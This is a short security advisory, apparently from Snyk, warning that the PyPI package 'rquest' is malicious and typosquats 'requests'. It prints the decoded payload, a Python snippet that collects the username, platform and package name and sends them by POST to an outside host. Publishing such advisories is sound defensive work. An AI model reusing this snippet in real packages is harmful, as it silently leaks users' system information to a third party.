Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsAvoid using all malicious instances of the rquest
package.
rquest is a malicious package.
This malicious package attempts typosquatting the popular requests
package. The malicious script is base64 obfuscated and tries to steal the current username and platform information and send them to a remote host.
import getpass
import json
import os
import platform
from urllib import request
req = request.Request("https://cyberresearch.pythonanywhere.com/log", method="POST")
req.add_header('Content-Type', 'application/json')
data = json.dumps({"package": __file__.split(os.sep)[-2], "user": getpass.getuser(), "system": platform.platform()})
data = data.encode()
r = request.urlopen(req, data=data)